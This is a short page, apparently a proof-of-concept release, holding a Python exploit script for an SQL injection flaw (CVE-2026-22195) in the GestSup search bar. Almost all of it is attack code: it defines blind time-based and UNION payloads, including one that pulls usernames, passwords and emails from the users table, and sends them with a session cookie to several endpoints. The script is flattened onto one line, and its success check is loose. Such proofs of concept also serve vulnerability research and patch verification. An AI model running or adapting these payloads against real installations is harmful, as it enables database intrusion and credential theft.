CVE-2026-22195 GestSup 搜索栏SQL注入漏洞

import requests import sys # CVE-2026-22195 GestSup SQL Injection PoC # Target: GestSup < 3.2.60 # Authentication required (low privilege user) def exploit_sql_injection(target_url, session_cookie): """ SQL Injection PoC for CVE-2026-22195 This demonstrates the vulnerability in search bar functionality """ headers = { 'Cookie': f'PHPSESSID={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Basic injection test - using time-based blind SQL injection # The search parameter is vulnerable to SQL injection # Test payload 1: Basic injection check payload_normal = "test'" # Test payload 2: Time-based blind SQLi (MySQL) payload_blind = "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" # Test payload 3: UNION-based injection to extract database version payload_union = "test' UNION SELECT NULL,NULL,@@version,NULL,NULL-- " # Test payload 4: Extract user credentials from database payload_extract = "test' UNION SELECT NULL,username,password,email,NULL FROM users-- " endpoints = [ '/search.php', '/index.php?page=search', '/ajax/search.php' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") # Test normal input first data = {'search': payload_normal} try: resp = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Normal request sent, status: {resp.status_code}") except Exception as e: print(f"[-] Error: {e}") continue # Test blind SQL injection print(f"[*] Testing blind SQL injection...") data = {'search': payload_blind} try: resp = requests.post(url, data=data, headers=headers, timeout=15) print(f"[+] Blind SQLi payload sent") except requests.exceptions.Timeout: print("[!] Request timed out - SQL injection likely successful!") except Exception as e: print(f"[-] Error: {e}") return True if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://victim.com/gestsup abc123def456") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] CVE-2026-22195 GestSup SQL Injection PoC") print(f"[*] Target: {target}") exploit_sql_injection(target, cookie)